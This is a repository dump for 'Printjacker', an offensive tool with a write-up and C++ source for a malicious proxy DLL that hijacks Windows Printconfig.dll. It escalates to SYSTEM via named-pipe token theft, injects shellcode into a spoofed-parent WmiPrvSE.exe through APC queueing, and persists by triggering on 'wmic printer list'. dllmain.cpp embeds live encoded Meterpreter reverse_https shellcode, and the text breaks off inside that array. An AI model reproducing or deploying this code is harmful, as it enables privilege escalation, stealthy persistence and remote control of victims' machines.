├── POST.md
├── Printjacker
├── PrintConfig
│ ├── PrintConfig.vcxproj
│ ├── PrintConfig.vcxproj.filters
│ ├── PrintConfig.vcxproj.user
│ ├── dllmain.cpp
│ ├── pch.cpp
│ ├── pch.h
│ ├── token.cpp
│ └── token.h
├── Printjacker.sln
└── Printjacker
│ ├── Printjacker.rc
│ ├── Printjacker.vcxproj
│ ├── Printjacker.vcxproj.filters
│ ├── Printjacker.vcxproj.user
│ ├── Source.cpp
│ └── resource.h
├── README.md
└── images
├── flow.png
└── trace.png
/POST.md:
--------------------------------------------------------------------------------
1 | # A Tricky Hijack - Printconfig.dll
2 |
3 | ## 1- An Interesting File Overwrite Vulnerability
4 |
5 | In 2020, different researchers discovered 2 important Privilege Escalation vulnerabilities affecting Windows Group Policy Caching that are labeled as **CVE-2020-1317** and **CVE-2020-16939**. [The ZDI post](https://www.zerodayinitiative.com/blog/2020/10/27/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation) describes **CVE-2020-16939** like this[[1]]:
6 |
7 | ```
8 | This vulnerability abuses a SetSecurityFile operation performed during Group Policy update that is done in the context of NT AUTHORITY\SYSTEM.
9 | This operation is performed on all files within a certain folder.
10 | An attacker could create a directory junction to another folder and thereby obtain full permissions on the contents of that folder.
11 | ```
12 |
13 | While I was trying to understand and weaponize the vulnerability in my environment, I realized that changing permissions of every file in a system directory is a very noisy action. Let's say you want to exploit this vulnerability for getting the SYSTEM shell by overwriting a Dll. In order to overwrite a system Dll, you need to change permissions of the file which is usually under `C:\Windows\System32`. Choosing `System32` as the target folder may end up affecting lots of other files and gives inconsistent results.
14 |
15 | The question is that is there a better folder to takeover than `C:\Windows\System32` which will affect permissions of fewer files. Actually, a subtle approach can be used for creating a more stable and elegant exploit[[2]]. For this approach, we will simply use an exploitation method first showed by [SandboxEscaper](https://twitter.com/SandboxBear) in CVE-2018-8440. Task Scheduler ALPC interface vulnerability is exploited to overwrite **Printconfig.dll** which is the library related to the Print Configuration User Interface to load a custom Dll into "spoolsv.exe" process. Printconfig.dll is under a generic directory `C:\Windows\System32\DriverStore\FileRepository\*\amd64`. This directory contains 4 files so it can be a better target for our scenario.
16 |
17 | ## 2- DLL Proxying
18 |
19 | In order to create a malicious DLL that will replace Printconfig.dll, I decided to use DLL proxying method in order to reproduce the functionality as much as possible. I decided to execute the payload in the specific method used by a system service rather than writing it into DllMain.
20 |
21 | ```c
22 | #pragma comment(linker,"/export:DevQueryPrintEx=printconfig_orig.DevQueryPrintEx,@258")
23 | #pragma comment(linker,"/export:DllCanUnloadNow=printconfig_orig.DllCanUnloadNow,@259")
24 | #pragma comment(linker,"/export:DllGetClassObject=printconfig_orig.DllGetClassObject,@260")
25 | ...
26 | ```
27 |
28 | The default execution method used by SandboxEscaper is that of using XPS Print Jobs to make spoolsv.exe load Printconfig.dll. I checked that in several Windows 10 environments and it seems in some cases Printconfig.dll was not loaded by spoolsv after invoking XPS Print Job. I tried the debug the issue without going into detail and it seems some caching mechanisms may terminate the execution before loading the Printconfig.dll[[3]].
29 |
30 | ## 3- Execution via WMIC
31 |
32 | Afer that, I decided to change the method to load Printconfig.dll into a system service. Good old WMI can be a good option for interacting with different parts of Operating System. WMI can be used to query printers on a system, show details of a printer, and edit printer configs. By executing `wmic printer list` command, I validate WmiPrvSE.exe loads Printconfig.dll into its memory. To understand which function is invoked by WmiPrvSE.exe, I used procmon to display stack trace when Printconfig.dll is loaded.
33 |
34 | 
35 |
36 | Stack Trace shows **DrvDeviceCapabilities** is the function that I am looking for so I used *x64dbg* to observe WmiPrvSE.exe actually executes `Printconfig.dll!DrvDeviceCapabilities`. After the double check I decided to put my payload in **DrvDeviceCapabilities**.
37 |
38 | ## 4- Elevate to SYSTEM from WmiPrvSE.exe
39 |
40 | Changing execution method from XPS Print Job to WMIC mainly affects the privileges of the loader process. WMIC command can cause WmiPrvSE.exe to spawn and it often impersonates the caller user. I checked the impersonation token used in WmiPrvSE.exe process and verified the thread is ran with it when `wmic printer list` is executed. So, if I call `wmic printer list` with a low-privilege user, the thread will run with the privileges of that user. This is an undesirable limitation since I want to be able to execute the payload regardless the user invoking `wmic printer list` command. However, it's possible to bypass impersonation token by creating a new thread and executing our payload in the newly created thread. MSDN Documentation mentions this property in [here][4].
41 |
42 | ```
43 | The ACLs in the default security descriptor for a thread come from the primary token of the creator.
44 | ```
45 |
46 | According to the documentation new thread is created with the primary token of WmiPrvSE.exe which has `NT AUTHORITY\NETWORK SERVICE` SID. Since I want to elevate to SYSTEM privileges I used the method described by James Forshaw in ["Sharing a Logon Session a Little Too Much"][5]. The blog post explains the method very well so I won't go into the detail here. I implemented the same method in Printconfig.dll with the help of [Faxhell](https://github.com/ionescu007/faxhell) tool which also utilizes it[[6]]. In summary, this method uses a named pipe impersonation trickery to get the token of **RPCSS** process which can be used for searching SYSTEM token in other processes. After finding the SYSTEM token, it is used to be impersonated by the current thread using **SetThreadToken()**.
47 |
48 | ```c
49 |
50 | BOOL GetSystem() {
51 | //Create Random Pipename
52 | WCHAR pipename[12] = { 0 };
53 | GenRandomString(pipename, 11);
54 | wprintf(L"\n[*] PipeName; \\\\.\\pipe\\%s", pipename);
55 |
56 | HANDLE hPipe;
57 | WCHAR server[512];
58 | char buffer[256];
59 | DWORD dwRead = 0;
60 | HANDLE hProc;
61 |
62 | HANDLE hPipe2;
63 | WCHAR server2[512];
64 | DWORD cbWritten = 0;
65 |
66 | HANDLE hToken;
67 |
68 | wsprintf(server, L"\\\\.\\pipe\\%s", pipename);
69 | wsprintf(server2, L"\\\\localhost\\pipe\\%s", pipename);
70 |
71 | hPipe = CreateNamedPipe(L"\\\\.\\pipe\\pipey",
72 | PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
73 | PIPE_TYPE_BYTE |
74 | PIPE_READMODE_BYTE |
75 | PIPE_WAIT |
76 | PIPE_ACCEPT_REMOTE_CLIENTS,
77 | PIPE_UNLIMITED_INSTANCES,
78 | 4096,
79 | 4096,
80 | NMPWAIT_USE_DEFAULT_WAIT,
81 | NULL);
82 |
83 | hPipe2 = CreateFile(L"\\\\localhost\\pipe\\pipey",
84 | GENERIC_READ | GENERIC_WRITE,
85 | 0,
86 | NULL,
87 | OPEN_EXISTING,
88 | 0,
89 | NULL);
90 | WriteFile(hPipe2, &hPipe, sizeof(hPipe2), NULL, NULL);
91 | ReadFile(hPipe, &hPipe, sizeof(hPipe), NULL, NULL);
92 | if (!ImpersonateNamedPipeClient(hPipe)) {
93 | printf("\n[-] ERROR impersonating the client: %d", GetLastError());
94 | return FALSE;
95 | }
96 | if (FAILED(GetServiceHandle(L"Rpcss", &hProc))) {
97 | printf("\n[-] ERROR GetServiceHandle %d", GetLastError());
98 | CloseHandle(hProc);
99 | return FALSE;
100 | }
101 |
102 | if (FAILED(GetSystemTokenFromProcess(hProc))) {
103 | printf("\n[-] ERROR GetSystemTokenFromProcess %d", GetLastError());
104 | CloseHandle(hProc);
105 | return FALSE;
106 | }
107 | CloseHandle(hProc);
108 | return TRUE;
109 | }
110 | ```
111 |
112 |
113 | ## 5- Injection to the new Process
114 |
115 | As the payload, I intend to use shellcode since many C2 beacons can be deployed this way. To execute the payload in SYSTEM privileges I decided to inject the shellcode to a process which is run as SYSTEM user. Actually, trying to execute the shellcode in the current process (WmiPrvSE.exe) generally ends up having NETWORK SERVICE token because new threads are created. Therefore I decided to create a new WmiPrvSE.exe to host my shellcode with the parent of **DcomLaunch** service process which is run as SYSTEM. I utilized the well-known parent PID spoofing and a generic injection technique known as ["Early Bird APC Queue Code Injection"](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection) in order to create the new host process under **DcomLaunch** for injection[[7]]. The injection technique can be changed with more evasive ones according to the target environment.
116 |
117 | ```c
118 | DWORD InjectNewProcess(HANDLE hParent) {
119 | unsigned char shellcode[] = "???";
120 | STARTUPINFOEX si;
121 | PROCESS_INFORMATION pi;
122 | SIZE_T attributeSize;
123 | ZeroMemory(&si, sizeof(STARTUPINFOEX));
124 | WCHAR cmdline[MAX_PATH] = L"wmiprvse.exe -Embedding";
125 | //WCHAR cmdline[MAX_PATH] = L"notepad.exe";
126 |
127 | InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
128 | si.lpAttributeList =
129 | (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc
130 | (GetProcessHeap(), 0, attributeSize);
131 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
132 | UpdateProcThreadAttribute(si.lpAttributeList, 0,
133 | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
134 | &hParent, sizeof(HANDLE), NULL, NULL);
135 | si.StartupInfo.cb = sizeof(STARTUPINFOEX);
136 |
137 | CreateProcessW(NULL, cmdline, NULL, NULL, FALSE,
138 | EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED|CREATE_NO_WINDOW,
139 | NULL, NULL, &si.StartupInfo, &pi);
140 | HANDLE victimProcess = pi.hProcess;
141 | HANDLE threadHandle = pi.hThread;
142 |
143 | LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL,
144 | sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
145 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
146 |
147 | WriteProcessMemory(victimProcess, shellAddress, shellcode,
148 | sizeof(shellcode), NULL);
149 | QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
150 | ResumeThread(threadHandle);
151 |
152 | return 0;
153 | }
154 | ```
155 |
156 | ## 6- Persistence
157 |
158 | I decided to utilize *Printconfig.dll* hijack also for persistence since `wmic printer list` is an innocent-looking command, and this method can be combined with other persistence methods quite easily. This persistence method is applicable when the attacker has the write/modify privileges as Administrator. Printjacker finds *Printconfig.dll* directory and changes the ownership to the **Administrator** since it's owned **TrustedInstaller** by default. Printjacker also gives full permission to the **Administrator** for the directory in order to modify the files for Hijacking. After that it copies original *Printconfig.dll* to *Printconfig_orig.dll* and the Dll with our payload is written over *Printconfig.dll*. Lastly, `wmic printer list` command is executed to invoke the payload.
159 |
160 | 
161 |
162 | ### References
163 | 1- https://www.zerodayinitiative.com/blog/2020/10/27/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation
164 |
165 | 2- It's also suggested by [@decoder_it](https://twitter.com/decoder_it) in here: https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/
166 |
167 | 3- OpenPrinter2 function document is actually mentions a local cache for printers: https://docs.microsoft.com/en-us/windows/win32/printdocs/openprinter2
168 |
169 | 4- https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
170 |
171 | 5- https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
172 |
173 | 6- https://github.com/ionescu007/faxhell/blob/master/ualapi/dllmain.c
174 |
175 | 7- https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
176 |
177 | [1]: https://www.zerodayinitiative.com/blog/2020/10/27/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation
178 | [2]: https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/
179 | [3]: https://docs.microsoft.com/en-us/windows/win32/printdocs/openprinter2
180 | [4]: https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
181 | [5]: https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
182 | [6]: https://github.com/ionescu007/faxhell/blob/master/ualapi/dllmain.c
183 | [7]: https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection;
184 |
--------------------------------------------------------------------------------
/Printjacker/PrintConfig/PrintConfig.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {902c4710-ff3e-45a4-bd70-6865db8db48b}
25 | PrintConfig
26 | 10.0
27 |
28 |
29 |
30 | DynamicLibrary
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | DynamicLibrary
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | DynamicLibrary
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | DynamicLibrary
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;PRINTCONFIG_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
90 | true
91 | Use
92 | pch.h
93 |
94 |
95 | Windows
96 | true
97 | false
98 |
99 |
100 |
101 |
102 | Level3
103 | true
104 | true
105 | true
106 | WIN32;NDEBUG;PRINTCONFIG_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
107 | true
108 | Use
109 | pch.h
110 |
111 |
112 | Windows
113 | true
114 | true
115 | true
116 | false
117 |
118 |
119 |
120 |
121 | Level3
122 | true
123 | _DEBUG;PRINTCONFIG_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
124 | true
125 | Use
126 | pch.h
127 |
128 |
129 | Windows
130 | true
131 | false
132 |
133 |
134 |
135 |
136 | Level3
137 | true
138 | true
139 | true
140 | NDEBUG;PRINTCONFIG_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
141 | true
142 | Use
143 | pch.h
144 | MultiThreaded
145 |
146 |
147 | Windows
148 | true
149 | true
150 | true
151 | false
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 | Create
162 | Create
163 | Create
164 | Create
165 |
166 |
167 |
168 |
169 |
170 |
171 |
--------------------------------------------------------------------------------
/Printjacker/PrintConfig/PrintConfig.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 |
29 |
30 | Source Files
31 |
32 |
33 | Source Files
34 |
35 |
36 | Source Files
37 |
38 |
39 |
--------------------------------------------------------------------------------
/Printjacker/PrintConfig/PrintConfig.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Printjacker/PrintConfig/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "pch.h"
3 | #include
4 | #include
5 | #include "token.h"
6 |
7 | #pragma comment(linker,"/export:DevQueryPrintEx=printconfig_orig.DevQueryPrintEx,@258")
8 | #pragma comment(linker,"/export:DllCanUnloadNow=printconfig_orig.DllCanUnloadNow,@259")
9 | #pragma comment(linker,"/export:DllGetClassObject=printconfig_orig.DllGetClassObject,@260")
10 | #pragma comment(linker,"/export:DllRegisterServer=printconfig_orig.DllRegisterServer,@262")
11 | #pragma comment(linker,"/export:DllUnregisterServer=printconfig_orig.DllUnregisterServer,@263")
12 | #pragma comment(linker,"/export:DrvConvertDevMode=printconfig_orig.DrvConvertDevMode,@264")
13 | #pragma comment(linker,"/export:DrvDevicePropertySheets=printconfig_orig.DrvDevicePropertySheets,@266")
14 | #pragma comment(linker,"/export:DrvDocumentEvent=printconfig_orig.DrvDocumentEvent,@267")
15 | #pragma comment(linker,"/export:DrvDocumentPropertySheets=printconfig_orig.DrvDocumentPropertySheets,@268")
16 | #pragma comment(linker,"/export:DrvDriverEvent=printconfig_orig.DrvDriverEvent,@269")
17 | #pragma comment(linker,"/export:DrvPopulateFilterServices=printconfig_orig.DrvPopulateFilterServices,@270")
18 | #pragma comment(linker,"/export:DrvPrinterEvent=printconfig_orig.DrvPrinterEvent,@271")
19 | #pragma comment(linker,"/export:DrvQueryColorProfile=printconfig_orig.DrvQueryColorProfile,@272")
20 | #pragma comment(linker,"/export:DrvQueryJobAttributes=printconfig_orig.DrvQueryJobAttributes,@273")
21 | #pragma comment(linker,"/export:DrvResetConfigCache=printconfig_orig.DrvResetConfigCache,@255")
22 | #pragma comment(linker,"/export:DrvSplDeviceCaps=printconfig_orig.DrvSplDeviceCaps,@254")
23 | #pragma comment(linker,"/export:DrvUpgradePrinter=printconfig_orig.DrvUpgradePrinter,@274")
24 | #pragma comment(linker,"/export:GetStandardMessageForPrinterStatus=printconfig_orig.GetStandardMessageForPrinterStatus,@300")
25 | #pragma comment(linker,"/export:MxdcGetPDEVAdjustment=printconfig_orig.MxdcGetPDEVAdjustment,@256")
26 | #pragma comment(linker,"/export:NotifyEntry=printconfig_orig.NotifyEntry,@275")
27 | #pragma comment(linker,"/export:ServiceMain=printconfig_orig.ServiceMain,@257")
28 |
29 | BOOL CreateCmdAsSystem() {
30 | //This method can be used for executing commands
31 | HANDLE hSystemToken;
32 | if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE,
33 | &hSystemToken))
34 | {
35 | //wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
36 | return FALSE;
37 | }
38 |
39 | HANDLE hPrimary;
40 | if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL,
41 | SecurityImpersonation, TokenPrimary, &hPrimary))
42 | {
43 | DWORD LastError = GetLastError();
44 | //wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
45 | return FALSE;
46 | }
47 |
48 | WCHAR commandline[] = L"cmd.exe";
49 | STARTUPINFO si = { sizeof(si) };
50 | PROCESS_INFORMATION pi = { 0 };
51 | ZeroMemory(&si, sizeof(STARTUPINFO));
52 | si.cb = sizeof(STARTUPINFO);
53 | si.lpDesktop = const_cast(L"WinSta0\\Default");
54 |
55 | if (!CreateProcessAsUser(hPrimary, NULL, commandline, NULL, NULL, 0,
56 | CREATE_UNICODE_ENVIRONMENT|CREATE_NEW_CONSOLE|CREATE_BREAKAWAY_FROM_JOB,
57 | NULL, NULL, &si, &pi)) {
58 | //printf("\n[-] CreateProcessAsUser is FAILED: %d", GetLastError());
59 | return FALSE;
60 | }
61 | Sleep(3000);
62 | WaitForSingleObject(pi.hProcess, INFINITE);
63 | return TRUE;
64 | }
65 |
66 | void GenRandomString(wchar_t* s, const int len)
67 | {
68 | static const char alphanum[] =
69 | "0123456789"
70 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
71 | "abcdefghijklmnopqrstuvwxyz";
72 |
73 | for (int i = 0; i < len; ++i) {
74 | s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
75 | }
76 | s[len] = 0;
77 | }
78 |
79 | BOOL GetSystem() {
80 | //Create Random Pipename
81 | WCHAR pipename[12] = { 0 };
82 | GenRandomString(pipename, 11);
83 | //wprintf(L"\n[*] PipeName; \\\\.\\pipe\\%s", pipename);
84 |
85 | HANDLE hPipe;
86 | WCHAR server[512];
87 | DWORD dwRead = 0;
88 | HANDLE hProc;
89 |
90 | HANDLE hPipe2;
91 | WCHAR server2[512];
92 | DWORD cbWritten = 0;
93 |
94 | HANDLE hToken = INVALID_HANDLE_VALUE;
95 |
96 | wsprintf(server, L"\\\\.\\pipe\\%s", pipename);
97 | wsprintf(server2, L"\\\\localhost\\pipe\\%s", pipename);
98 |
99 | hPipe = CreateNamedPipe(server,
100 | PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
101 | PIPE_TYPE_BYTE |
102 | PIPE_READMODE_BYTE |
103 | PIPE_WAIT |
104 | PIPE_ACCEPT_REMOTE_CLIENTS,
105 | PIPE_UNLIMITED_INSTANCES,
106 | 4096,
107 | 4096,
108 | NMPWAIT_USE_DEFAULT_WAIT,
109 | NULL);
110 |
111 | hPipe2 = CreateFile(server2,
112 | GENERIC_READ | GENERIC_WRITE,
113 | 0,
114 | NULL,
115 | OPEN_EXISTING,
116 | 0,
117 | NULL);
118 | WriteFile(hPipe2, &hPipe, sizeof(hPipe2), NULL, NULL);
119 | ReadFile(hPipe, &hPipe, sizeof(hPipe), NULL, NULL);
120 | if (!ImpersonateNamedPipeClient(hPipe)) {
121 | //printf("\n[-] ERROR impersonating the client: %d", GetLastError());
122 | return FALSE;
123 | }
124 | if (FAILED(GetServiceHandle(L"Rpcss", &hProc))) {
125 | //printf("\n[-] ERROR GetServiceHandle %d", GetLastError());
126 | CloseHandle(hProc);
127 | return FALSE;
128 | }
129 |
130 | if (FAILED(GetSystemTokenFromProcess(hProc))) {
131 | //printf("\n[-] ERROR GetSystemTokenFromProcess %d", GetLastError());
132 | CloseHandle(hProc);
133 | return FALSE;
134 | }
135 | CloseHandle(hProc);
136 | return TRUE;
137 | }
138 |
139 | VOID ExecSc() {
140 | //This is a backup method if other fails
141 | //It will be executed if SYSTEM token is failed to be impersonated
142 | //Change the shellcode in both methods
143 | //payload/windows/x64/meterpreter/reverse_https -e x64/xor_dynamic
144 | unsigned char shellcode[] =
145 | "\xeb\x27\x5b\x53\x5f\xb0\x7c\xfc\xae\x75\xfd\x57\x59\x53\x5e"
146 | "\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\xdb\xaf"
147 | "\x74\x07\x80\x3e\x7c\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff"
148 | "\xff\x14\x7c\xe8\x5c\x97\xf0\xe4\xfc\xd8\x14\x14\x14\x55\x45"
149 | "\x55\x44\x46\x45\x42\x5c\x25\xc6\x71\x5c\x9f\x46\x74\x5c\x9f"
150 | "\x46\x0c\x5c\x9f\x46\x34\x5c\x1b\xa3\x5e\x5e\x5c\x9f\x66\x44"
151 | "\x59\x25\xdd\x5c\x25\xd4\xb8\x28\x75\x68\x16\x38\x34\x55\xd5"
152 | "\xdd\x19\x55\x15\xd5\xf6\xf9\x46\x5c\x9f\x46\x34\x9f\x56\x28"
153 | "\x5c\x15\xc4\x55\x45\x72\x95\x6c\x0c\x1f\x16\x1b\x91\x66\x14"
154 | "\x14\x14\x9f\x94\x9c\x14\x14\x14\x5c\x91\xd4\x60\x73\x5c\x15"
155 | "\xc4\x44\x9f\x5c\x0c\x50\x9f\x54\x34\x5d\x15\xc4\xf7\x42\x5c"
156 | "\xeb\xdd\x55\x9f\x20\x9c\x59\x25\xdd\x5c\x15\xc2\x5c\x25\xd4"
157 | "\xb8\x55\xd5\xdd\x19\x55\x15\xd5\x2c\xf4\x61\xe5\x58\x17\x58"
158 | "\x30\x1c\x51\x2d\xc5\x61\xcc\x4c\x50\x9f\x54\x30\x5d\x15\xc4"
159 | "\x72\x55\x9f\x18\x5c\x50\x9f\x54\x08\x5d\x15\xc4\x55\x9f\x10"
160 | "\x9c\x5c\x15\xc4\x55\x4c\x55\x4c\x4a\x4d\x4e\x55\x4c\x55\x4d"
161 | "\x55\x4e\x5c\x97\xf8\x34\x55\x46\xeb\xf4\x4c\x55\x4d\x4e\x5c"
162 | "\x9f\x06\xfd\x5f\xeb\xeb\xeb\x49\x5c\x25\xcf\x47\x5d\xaa\x63"
163 | "\x7d\x7a\x7d\x7a\x71\x60\x14\x55\x42\x5c\x9d\xf5\x5d\xd3\xd6"
164 | "\x58\x63\x32\x13\xeb\xc1\x47\x47\x5c\x9d\xf5\x47\x4e\x59\x25"
165 | "\xd4\x59\x25\xdd\x47\x47\x5d\xae\x2e\x42\x6d\xb3\x14\x14\x14"
166 | "\x14\xeb\xc1\xfc\x1b\x14\x14\x14\x25\x2d\x26\x3a\x25\x22\x2c"
167 | "\x3a\x21\x22\x3a\x25\x24\x25\x14\x4e\x5c\x9d\xd5\x5d\xd3\xd4"
168 | "\x48\x05\x14\x14\x59\x25\xdd\x47\x47\x7e\x17\x47\x5d\xae\x43"
169 | "\x9d\x8b\xd2\x14\x14\x14\x14\xeb\xc1\xfc\x24\x14\x14\x14\x3b"
170 | "\x5e\x22\x70\x5c\x24\x51\x62\x77\x4c\x5e\x6c\x65\x62\x53\x61"
171 | "\x39\x5a\x43\x52\x63\x25\x63\x47\x47\x5a\x26\x76\x63\x4c\x63"
172 | "\x23\x47\x46\x4d\x4c\x39\x21\x57\x44\x66\x5d\x61\x72\x5b\x5d"
173 | "\x64\x14\x5c\x9d\xd5\x47\x4e\x55\x4c\x59\x25\xdd\x47\x5c\xac"
174 | "\x14\x16\x3c\x90\x14\x14\x14\x14\x44\x47\x47\x5d\xd3\xd6\xff"
175 | "\x41\x3a\x2f\xeb\xc1\x5c\x9d\xd2\x7e\x1e\x4b\x47\x4e\x5c\x9d"
176 | "\xe5\x59\x25\xdd\x59\x25\xdd\x47\x47\x5d\xd3\xd6\x39\x12\x0c"
177 | "\x6f\xeb\xc1\x91\xd4\x61\x0b\x5c\xd3\xd5\x9c\x07\x14\x14\x5d"
178 | "\xae\x50\xe4\x21\xf4\x14\x14\x14\x14\xeb\xc1\x5c\xeb\xdb\x60"
179 | "\x16\xff\xd8\xfc\x41\x14\x14\x14\x47\x4d\x7e\x54\x4e\x5d\x9d"
180 | "\xc5\xd5\xf6\x04\x5d\xd3\xd4\x14\x04\x14\x14\x5d\xae\x4c\xb0"
181 | "\x47\xf1\x14\x14\x14\x14\xeb\xc1\x5c\x87\x47\x47\x5c\x9d\xf3"
182 | "\x5c\x9d\xe5\x5c\x9d\xce\x5d\xd3\xd4\x14\x34\x14\x14\x5d\x9d"
183 | "\xed\x5d\xae\x06\x82\x9d\xf6\x14\x14\x14\x14\xeb\xc1\x5c\x97"
184 | "\xd0\x34\x91\xd4\x60\xa6\x72\x9f\x13\x5c\x15\xd7\x91\xd4\x61"
185 | "\xc6\x4c\xd7\x4c\x7e\x14\x4d\x5d\xd3\xd6\xe4\xa1\xb6\x42\xeb"
186 | "\xc1\xdb\xaf";
187 | LPVOID addr = VirtualAlloc(NULL, sizeof(shellcode) * 2, 0x3000, 0x40);
188 | RtlMoveMemory(addr, shellcode, sizeof(shellcode));
189 | ((void(*)())addr)();
190 | }
191 |
192 | DWORD InjectNewProcess(HANDLE hParent) {
193 | //payload/windows/x64/meterpreter/reverse_https -e x64/xor_dynamic
194 | unsigned char shellcode[] =
195 | "\xeb\x27\x5b\x53\x5f\xb0\x84\xfc\xae\x75\xfd\x57\x59\x53\x5e"
196 | "\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\x7d\x12"
197 | "\x74\x07\x80\x3e\x84\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff"
198 | "\xff\x03\x04\x84\xff\x4c\x80\xe0\xf3\xec\xcf\x04\x03\x04\x42"
199 | "\x55\x42\x54\x51\x4c\x32\xd6\x52\x52\x66\x4c\x88\x56\x63\x4c"
200 | "\x88\x56\x1b\x4c\x88\x56\x23\x4c\x0c\xb3\x49\x4e\x4b\x8f\x71"
201 | "\x54\x4e\x35\xca\x4c\x32\xc4\xaf\x38\x62\x78\x01\x28\x23\x45"
202 | "\xc2\xcd\x0e\x45\x02\xc5\xe1\xe9\x51\x45\x52\x4c\x88\x56\x23"
203 | "\x8f\x41\x38\x4b\x05\xd3\x62\x82\x7c\x1b\x0f\x01\x0b\x86\x76"
204 | "\x03\x04\x03\x8f\x83\x8c\x03\x04\x03\x4c\x86\xc4\x77\x63\x4b"
205 | "\x05\xd3\x40\x88\x44\x23\x4d\x02\xd4\x88\x4c\x1b\x54\xe0\x52"
206 | "\x4e\x35\xca\x4c\xfc\xcd\x42\x8f\x37\x8c\x4b\x05\xd5\x4c\x32"
207 | "\xc4\xaf\x45\xc2\xcd\x0e\x45\x02\xc5\x3b\xe4\x76\xf5\x4f\x07"
208 | "\x4f\x20\x0b\x41\x3a\xd5\x76\xdc\x5b\x40\x88\x44\x27\x4d\x02"
209 | "\xd4\x65\x45\x88\x08\x4b\x40\x88\x44\x1f\x4d\x02\xd4\x42\x8f"
210 | "\x07\x8c\x4b\x05\xd3\x45\x5b\x45\x5b\x5a\x5a\x5e\x42\x5c\x42"
211 | "\x5d\x42\x5e\x4b\x87\xef\x24\x42\x56\xfc\xe4\x5b\x45\x5a\x5e"
212 | "\x4b\x8f\x11\xed\x48\xfb\xfc\xfb\x5e\x4c\x32\xdf\x50\x4d\xbd"
213 | "\x73\x6a\x6a\x6a\x6a\x66\x70\x03\x45\x55\x4c\x8a\xe5\x4a\xc3"
214 | "\xc1\x48\x74\x22\x04\xfb\xd6\x57\x50\x4c\x8a\xe5\x50\x5e\x4e"
215 | "\x35\xc3\x49\x32\xcd\x50\x57\x4a\xbe\x39\x52\x7a\xa3\x03\x04"
216 | "\x03\x04\xfc\xd1\xeb\x0b\x03\x04\x03\x35\x3a\x36\x2d\x35\x35"
217 | "\x3c\x2d\x31\x35\x2a\x32\x34\x32\x04\x59\x4c\x8a\xc5\x4a\xc3"
218 | "\xc3\xff\x23\x04\x03\x49\x32\xcd\x50\x57\x69\x07\x50\x4d\xb9"
